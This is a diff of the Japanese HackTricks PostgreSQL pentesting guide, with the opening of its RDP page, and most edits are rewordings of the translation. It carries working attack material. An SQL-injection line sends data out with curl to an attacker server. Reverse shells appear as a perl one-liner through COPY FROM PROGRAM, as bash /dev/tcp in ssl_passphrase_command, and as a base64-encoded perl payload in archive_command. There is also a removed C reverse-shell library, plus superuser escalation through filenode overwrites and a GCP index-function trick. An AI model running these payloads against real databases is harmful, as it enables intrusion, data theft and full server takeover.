-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、今日から最大**$100,000**のバウンティを稼ぎましょう!
+**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
### ローカルファイル書き込みを介したPostgreSQLテーブルデータの更新
-PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の**関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新**できます。このテクニックについての詳細は[こちら](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
+PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の**関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新**できます。このテクニックについては、[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)で詳しく説明しています。
必要な手順:
-1. PostgreSQLデータディレクトリを取得
+1. PostgreSQLデータディレクトリを取得する
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスタ名は`main`です。
-2. ターゲットテーブルに関連するファイルノードへの相対パスを取得
+2. ターゲットテーブルに関連するファイルノードへの相対パスを取得する
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
このクエリは`base/3/1337`のようなものを返すはずです。ディスク上の完全なパスは`$DATA_DIRECTORY/base/3/1337`、つまり`/var/lib/postgresql/13/main/base/3/1337`になります。
-3. `lo_*`関数を使用してファイルノードをダウンロード
+3. `lo_*`関数を使用してファイルノードをダウンロードする
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
-4. ターゲットテーブルに関連付けられたデータ型を取得
+4. ターゲットテーブルに関連付けられたデータ型を取得する
```sql
SELECT
@@ -377,33 +373,33 @@ JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
-5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与します。
+5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、すべての`rol*`ブールフラグを1に設定して、ファイルノードを編集します。
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
-![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
-6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書き
+![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
+6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
-7. _(オプション)_ 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリア
+7. _(オプション)_ 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. これで、PostgreSQLで更新されたテーブル値が表示されるはずです。
-`pg_authid`テーブルを編集することでスーパーアドミンになることもできます。**次のセクション**を参照してください[pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
+`pg_authid`テーブルを編集することで、スーパーアドミンにもなれます。**次のセクション**を参照してください(pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
## RCE
### **プログラムへのRCE**
-[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、**スーパーユーザー**と**`pg_execute_server_program`**グループのメンバーだけがRCEにCOPYを使用できます(情報漏えいの例:
+[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、RCEのためにCOPYを使用できるのは**スーパーユーザー**と**`pg_execute_server_program`グループのメンバー**だけです(情報漏えいの例:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@@ -421,7 +417,7 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
-スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**そのグループのメンバーになることができます:**
+スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**自分自身をそのグループのメンバーにすることができます:**
```sql
GRANT pg_execute_server_program TO username;
```
@@ -451,7 +447,7 @@ GRANT pg_execute_server_program TO username;
次のRCEベクターは、すべての手順をネストされたSELECTステートメントを介して実行できるため、制約されたSQLiコンテキストで特に有用です。
{% endhint %}
-PostgreSQLの**構成ファイル**は**postgresユーザ**によって**書き込み可能**であり、これはデータベースを実行しているユーザであるため、**スーパーユーザ**としてファイルシステムにファイルを書き込むことができ、したがってこのファイルを**上書き**できます。
+PostgreSQLの**構成ファイル**は**postgresユーザー**によって**書き込み可能**であり、これはデータベースを実行しているユーザーであるため、**スーパーユーザー**としてファイルシステムにファイルを書き込むことができ、したがってこのファイルを**上書き**できます。
![](<../.gitbook/assets/image (303).png>)
@@ -459,117 +455,82 @@ PostgreSQLの**構成ファイル**は**postgresユーザ**によって**書き
このテクニックに関する詳細は[こちら](https://pulsesecurity.co.nz/articles/postgres-sqli)で確認できます。
-構成ファイルにはRCEにつながる興味深い属性がいくつかあります:
+構成ファイルにはRCEにつながる興味深い属性がいくつかあります:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースの秘密鍵へのパス
-* `ssl_passphrase_command = ''` もし秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
-* `ssl_passphrase_command_supports_reload = off` もしこの属性がonの場合、鍵がパスワードで保護されている場合に実行されるコマンドは、`pg_reload_conf()`が実行されたときに実行されます。
+* `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
+* `ssl_passphrase_command_supports_reload = off` この属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドが`pg_reload_conf()`が実行されたときに実行されます。
-その後、攻撃者は次の手順を踏む必要があります:
+その後、攻撃者は次の手順を実行する必要があります:
-1. サーバから**秘密鍵**をダンプする
-2. ダウンロードした秘密鍵を**暗号化**する:
-1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
+1. サーバーから**秘密鍵をダンプ**
+2. ダウンロードした秘密鍵を**暗号化**:
+ `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **上書き**
-4. 現在のPostgreSQL **構成**をダンプする
-5. 上記の属性構成で**構成**を**上書き**する:
-1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
-2. `ssl_passphrase_command_supports_reload = on`
-6. `pg_reload_conf()`を実行する
+4. 現在のPostgreSQL **構成**を**ダンプ**
+5. 上記の属性構成で**構成**を**上書き**する:
+ `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
+ `ssl_passphrase_command_supports_reload = on`
+6. `pg_reload_conf()`を実行
-これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**(つまりpostgresユーザが読み取れる)である必要があり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気づきました。
+これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**(postgresユーザーが読み取れるように)であり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気付きました。
#### **archive\_command**を使用したRCE
-**WALに関するこの構成とこの構成に関する詳細**は[こちら](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**で確認できます。**
+この構成とWALに関する詳細については、[こちら](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)を参照してください。
構成ファイルの別の属性である`archive_command`は悪用可能です。
-これを機能させるには、`archive_mode`設定が`'on'`または`'always'`である必要があります。それが真であれば、`archive_command`でコマンドを上書きし、WAL(Write-Ahead Logging)操作を介して実行することができます。
+これを機能させるには、`archive_mode`設定が`'on'`または`'always'`である必要があり、その場合、`archive_command`のコマンドを上書きしてWAL(先行ログ記録)操作を介して実行することができます。
-一般的な手順は次のとおりです:
+一般的な手順は次のとおりです:
-1. アーカイブモードが有効かどうかを確認する: `SELECT current_setting('archive_mode')`
-2. `archive_command`にペイロードを上書きします。たとえば、リバースシェル: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
-3. 構成を再読み込み: `SELECT pg_reload_conf()`
-4. WAL操作を実行し、アーカイブコマンドを呼び出します: 一部のPostgresバージョンでは`SELECT pg_switch_wal()`または`SELECT pg_switch_xlog()`を使用します
+1. アーカイブモードが有効かどうかを確認:`SELECT current_setting('archive_mode')`
+2. ペイロードで`archive_command`を上書きします。たとえば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
+3. 構成を再読み込み:`SELECT pg_reload_conf()`
+4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出します:`SELECT pg_switch_wal()`または一部のPostgresバージョンでは`SELECT pg_switch_xlog()`
#### **preloadライブラリを使用したRCE**
このテクニックに関する詳細は[こちら](https://adeadfed.com/posts/postgresql-select-only-rce/)で確認できます。
-この攻撃ベクトルは次の構成変数を利用します:
+この攻撃ベクトルは次の構成変数を利用します:
-* `session_preload_libraries` -- PostgreSQLサーバがクライアント接続時に読み込むライブラリ。
-* `dynamic_library_path` -- PostgreSQLサーバがライブラリを検索するディレクトリのリスト。
+* `session_preload_libraries` -- PostgreSQLサーバーがクライアント接続時に読み込むライブラリ。
+* `dynamic_library_path` -- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。
-`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザが書き込み可能なディレクトリ(たとえば`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、`session_preload_libraries`変数にそれを含めて、PostgreSQLサーバに新しくアップロードしたライブラリを読み込むようにします。
+`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザーが書き込み可能なディレクトリ(たとえば`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、新しくアップロードしたライブラリを`session_preload_libraries`変数に含めてPostgreSQLサーバーに読み込ませます。
-攻撃手順は次のとおりです:
+攻撃手順は次のとおりです:
-1. 元の`postgresql.conf`をダウンロードする
-2. `dynamic_library_path`値に`/tmp/`ディレクトリを含める。例: `dynamic_library_path = '/tmp:$libdir'`
-3. `session_preload_libraries`値に悪意のあるライブラリ名を含める。例: `session_preload_libraries = 'payload.so'`
-4. `SELECT version()`クエリを使用して主要なPostgreSQLバージョンを確認する
-5. 正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:
+1. 元の`postgresql.conf`をダウンロード
+2. `dynamic_library_path`値に`/tmp/`ディレクトリを含める。例:`dynamic_library_path = '/tmp:$libdir'`
+3. `session_preload_libraries`値に悪意のあるライブラリ名を含める。例:`session_preload_libraries = 'payload.so'`
+4. `SELECT version()`クエリを使用して主要なPostgreSQLバージョンを確認
+5. 正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:
```c
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include "postgres.h"
-#include "fmgr.h"
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-void _init() {
-/*
-code taken from https://www.revshells.com/
-*/
-
-int port = REVSHELL_PORT;
-struct sockaddr_in revsockaddr;
-
-int sockt = socket(AF_INET, SOCK_STREAM, 0);
-revsockaddr.sin_family = AF_INET;
-revsockaddr.sin_port = htons(port);
-revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
-
-connect(sockt, (struct sockaddr *) &revsockaddr,
-sizeof(revsockaddr));
-dup2(sockt, 0);
-dup2(sockt, 1);
-dup2(sockt, 2);
-
-char * const argv[] = {"/bin/bash", NULL};
-execve("/bin/bash", argv, NULL);
-}
+(中略)
```
-コードのコンパイル:
+コードのコンパイル:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
-6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードし、元のファイルを上書きする
-7. ステップ5で作成した`payload.so`を`/tmp`ディレクトリにアップロードする
-8. サーバー構成を再読み込みするためにサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出す
+6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードして元のファイルを上書き
+7. ステップ5で作成した`payload.so`を`/tmp`ディレクトリにアップロード
+8. サーバー構成を再読み込みしてサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出します
9. 次回のDB接続時にリバースシェル接続を受け取ります。
-## **Postgres Privesc**
+## **Postgresの権限昇格**
-### CREATEROLE Privesc
+### CREATEROLE権限昇格
#### **権限付与**
-[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると: _**`CREATEROLE`** 権限を持つロールは、**スーパーユーザーでない** 任意のロールのメンバーシップを**付与または取り消す**ことができます。_
+[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると:_**`CREATEROLE`**権限を持つロールは、**スーパーユーザーでない**任意のロールに対して**メンバーシップの付与または取り消し**を行うことができます。_
-したがって、**`CREATEROLE`** 権限があれば、自分自身に他の**ロール**へのアクセス権を付与できます(スーパーユーザーでない場合)。これにより、ファイルの読み書きやコマンドの実行が可能になります。
+したがって、**`CREATEROLE`**権限があれば、他の**ロール**(スーパーユーザーでない)へのアクセス権を付与して、ファイルの読み書きやコマンドの実行が可能になります。
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@@ -592,7 +553,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"';
```
{% hint style="info" %}
-これは通常、**`pg_hba.conf`** ファイル内の次の行によって可能になります:
+通常、これは**`pg_hba.conf`**ファイル内の次の行によって可能になります:
```bash
# "local" is for Unix domain socket connections only
local all all trust
@@ -605,13 +566,13 @@ host all all ::1/128 trust
### **ALTER TABLE権限昇格**
-[**この解説**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで権限昇格が可能だった方法が説明されています。
+[**この解説**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで**権限昇格**が可能だった方法が説明されています。
通常、**別のユーザーをテーブルの所有者にする**という操作はエラーが発生して阻止されるはずですが、GCPでは**スーパーユーザーでないpostgresユーザー**にそのオプションが与えられていたようです:
-
+
-この考え方を利用して、**INSERT/UPDATE/ANALYZE**コマンドが**インデックス関数を持つテーブル**で実行されると、**関数**が**コマンドの一部として呼び出され、テーブルの所有者権限**で実行されるという事実を組み合わせると、スーパーユーザーに所有権限を与えたテーブルに関数を持つインデックスを作成し、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。
+この考え方を利用して、**インデックス関数を持つテーブル**に対して**INSERT/UPDATE/ANALYZE**コマンドが実行されると、**関数**が**コマンドの一部として呼び出され、テーブルの所有者権限**で実行されるという事実を組み合わせると、悪意のある関数を使用してコマンドを実行できるようになります。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@@ -620,12 +581,12 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
#### 搾取
1. 新しいテーブルを作成します。
-2. テーブルに関連性のないコンテンツを挿入して、インデックス機能のデータを提供します。
-3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドの実行を許可します。
-4. テーブルの所有者を「cloudsqladmin」に変更し、これはCloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
-5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。したがって、悪意のあるインデックス機能は「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
+2. テーブルに関連性のないコンテンツを挿入して、インデックス機能にデータを提供します。
+3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドを実行できるようにします。
+4. テーブルの所有者を「cloudsqladmin」に変更し、これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを管理および維持するために独占的に使用されます。
+5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス機能が「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
-PostgreSQLでは、このフローは次のようになります。
+PostgreSQLでは、このフローは次のようになります:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
@@ -646,13 +607,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
ANALYZE public.temp_table;
```
-その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます:
+その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます。
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### ローカルログイン
-一部の設定ミスのあるPostgreSQLインスタンスでは、どのローカルユーザーでもログインできる場合があり、**`dblink`関数**を使用して127.0.0.1からローカルログインすることが可能です。
+一部の設定ミスのあるPostgreSQLインスタンスでは、**`dblink`関数**を使用して、127.0.0.1からのローカルログインが可能になる場合があります。
```sql
\du * # Get Users
\l # Get databases
@@ -671,7 +632,7 @@ CREATE EXTENSION dblink;
```
{% endhint %}
-もし特権を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
+より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@@ -685,7 +646,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **セキュリティデフィナーで定義されたカスタム関数**
-[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**SECURITY DEFINERフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
+[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**セキュリティデフィナーのフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@@ -706,9 +667,9 @@ PERFORM dblink_disconnect();
…
-[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERが設定された関数は**、**所有者の権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、**攻撃者によって制御されるパラメータで特権操作を行っている**場合、Postgres内で**権限昇格が悪用**される可能性があります。
+[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**セキュリティデフィナーを持つ関数は**、それを**所有するユーザーの権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、攻撃者によって制御されるパラメーターで**特権操作を行っている場合**、Postgres内で**権限昇格**される可能性があります。
-前述のコードの4行目で、関数に**SECURITY DEFINER**フラグがあることがわかります。
+前述のコードの4行目で、関数に**セキュリティデフィナー**フラグがあることがわかります。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@@ -720,7 +681,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
### PL/pgSQLを使用したパスワードブルートフォース
-**PL/pgSQL**は、SQLよりも大幅に手続き的な制御を提供する**完全な機能を備えたプログラミング言語**です。これにより、**ループ**や他の**制御構造**を使用してプログラムロジックを強化できます。さらに、**SQLステートメント**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。\
+**PL/pgSQL**はSQLよりも大幅に手続き的な制御を提供する**完全な機能を備えたプログラミング言語**です。これにより、**ループ**や他の**制御構造**を使用してプログラムロジックを強化できます。さらに、**SQLステートメント**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。\
**この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
@@ -730,12 +691,12 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
### 内部のPostgreSQLテーブルを上書きして権限昇格
{% hint style="info" %}
-次の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます
+以下の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます
{% endhint %}
PostgreSQLサーバーファイルを**読み書き**できる場合、内部の`pg_authid`テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、**スーパーユーザー**になることができます。
-**この手法**について詳しくは[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**をご覧ください。**
+**この手法**について詳しくは[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**を参照してください。**
攻撃手順は以下の通りです:
@@ -745,10 +706,8 @@ PostgreSQLサーバーファイルを**読み書き**できる場合、内部の
4. `pg_authid`テーブルに関連付けられたデータ型を取得する
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、`pg_authid`テーブルの[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与する
6. `lo_*`関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
-7. (オプション)高コストなSQLクエリを実行してインメモリテーブルキャッシュをクリアする
+7. (オプション)高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
8. これで完全なスーパーアドミンの権限を持つようになります。
-
-## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
@@ -758,7 +717,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### ロギング
-_**postgresql.conf**_ ファイルの中で、以下を変更して、PostgreSQL ログを有効にできます:
+_**postgresql.conf**_ ファイルの中で、以下を変更することで PostgreSQL ログを有効にできます:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@@ -767,13 +726,11 @@ sudo service postgresql restart
#Find the logs in /var/lib/postgresql//main/log/
#or in /var/lib/postgresql//main/pg_log/
```
-その後、**サービスを再起動**してください。
-
### pgadmin
[pgadmin](https://www.pgadmin.org)は、PostgreSQLの管理および開発プラットフォームです。\
-_**pgadmin4.db**_ファイルの中に**パスワード**が見つかります。\
-スクリプト内の_decrypt_関数を使用してそれらを復号化できます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
+**pgadmin4.db**ファイル内に**パスワード**が見つかります。\
+スクリプト内の_decrypt_関数を使用して、それらを復号化できます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
@@ -782,6 +739,6 @@ string pgadmin4.db
```
### pg\_hba
-PostgreSQLのクライアント認証は、**pg\_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードのシリーズが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
+PostgreSQLにおけるクライアント認証は、**pg\_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
-pg\_hba.confで利用可能なパスワードベースの認証方法は**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法で異なります:MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg\_authidで暗号化されたパスワードとは使用できません。
+pg\_hba.confで利用可能なパスワードベースの認証方法は**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法で異なります:MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg\_authidで暗号化されたパスワードと一緒に使用できません。
diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md
index aac59e811..ca4f741fd 100644
--- a/network-services-pentesting/pentesting-rdp.md
+++ b/network-services-pentesting/pentesting-rdp.md
@@ -2,27 +2,27 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
+AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
-* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
